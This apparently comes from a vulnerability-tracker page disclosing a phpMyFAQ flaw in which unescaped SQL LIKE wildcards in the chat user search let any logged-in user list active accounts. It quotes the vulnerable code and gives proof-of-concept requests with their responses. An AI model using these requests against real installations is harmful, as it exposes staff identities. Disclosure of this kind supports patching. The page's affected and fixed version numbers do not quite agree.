CVE-2026-47132Medium· 5.4▾ SunlitphpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration
▾ Sunlit zone — Low / medium · no exploitation signal
impact 29.7 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
An authenticated SQL LIKE wildcard injection vulnerability in phpMyFAQ’s chat user search allows any logged-in user to bypass the intended display-name search filter and enumerate active users. The endpoint escapes SQL string syntax but does not escape % and _, which remain active LIKE wildcards.
The vulnerable endpoint is:
GET /api/chat/users?q=...
Source:
// phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/ChatController.php
$query = trim($request->query->get('q', ''));
if (mb_strlen($query) < 2) {
return $this->json([
'success' => true,
'users' => [],
], Response::HTTP_OK);
}
$chat = new Chat($this->configuration);
$users = $chat->searchUsers($query, $this->currentUser->getUserId());
Sink:
// phpmyfaq/src/phpMyFAQ/Chat.php
$escapedTerm = $this->configuration->getDb()->escape(mb_strtolower($searchTerm));
$query = sprintf(
"SELECT u.user_id, ud.display_name
FROM %sfaquser u
LEFT JOIN %sfaquserdata ud ON u.user_id = ud.user_id
WHERE u.user_id != %d
AND u.user_id > 0
AND LOWER(ud.display_name) LIKE '%%%s%%'
AND u.account_status = 'active'
LIMIT %d",
Database::getTablePrefix(),
Database::getTablePrefix(),
$excludeUserId,
$escapedTerm,
$limit,
);
escape() prevents SQL string breakout, but it does not escape SQL LIKE metacharacters. Therefore, attacker-controlled % and _ are interpreted by the database as wildcards.
The project already uses a safer pattern elsewhere with ESCAPE '|' and wildcard escaping, but this chat search path does not apply it.
Tested against:
phpMyFAQ 4.2.0-alpha commit c0b7158df4bfb11d57b1ef7d471760583c9c2fae
Prerequisite: attacker has any valid authenticated user account.
userId=2 displayName="Alice Finance"
userId=3 displayName="Bob Support"
userId=4 displayName="Carol Engineering"
GET /api/chat/users?q=zz HTTP/1.1
Host: target
Cookie: [authenticated session]
Observed response:
{
"success": true,
"users": []
}
GET /api/chat/users?q=%25%25 HTTP/1.1
Host: target
Cookie: [authenticated session]
Observed response:
{
"success": true,
"users": [
{
"userId": 2,
"displayName": "Alice Finance"
},
{
"userId": 3,
"displayName": "Bob Support"
},
{
"userId": 4,
"displayName": "Carol Engineering"
}
]
}
The same issue is reproducible with _ wildcards:
GET /api/chat/users?q=__ HTTP/1.1
Host: target
Cookie: [authenticated session]
Local confirmation was also performed by calling the vulnerable phpMyFAQ\Chat::searchUsers() method directly with seeded users. q=zz returned no users, while q=%% and q=__ returned active users.
This is a SQL LIKE wildcard injection / search filter bypass vulnerability. Any authenticated user can enumerate active user IDs and display names through the chat user search endpoint. This may disclose internal user identities, staff names, department names, or other sensitive account information depending on deployment.
https://github.com/user-attachments/assets/b684893f-ccb1-42af-9568-50900793076f
thorsten/phpmyfaq < 4.2.0-alphaUpgrade to a patched release:
thorsten/phpmyfaq 4.2.0-alphaConnected by shared product, vendor, weakness, or advisory.
GHSA-mf8r-wm2w-f8c5Medium· 5.3phpMyFAQ public FAQ APIs expose inactive FAQ content
GHSA-88g4-74f3-63x9Medium· 4.9phpMyFAQ has Potential Authenticated Path Traversal in PDF Export
GHSA-985r-q3qp-299hHigh· 8.1phpMyFAQ has an incomplete fix for GHSA-xvp4-phqj-cjr3 — editUser() and updateUserRights() lack authorization guards
CVE-2026-48488LowphpMyFAQ has Weak Cryptography - SHA1 for Password Hashing
CVE-2026-49205Medium· 6.5phpMyFAQ: Missing userHasPermission() in 4 API write endpoints (CVE-2026-24421 Incomplete Fix)
CVE-2026-85588Medium· 5.3phpMyFAQ versions before 4.1.8 include live TOTP shared secrets in plaintext within user data export ZIP files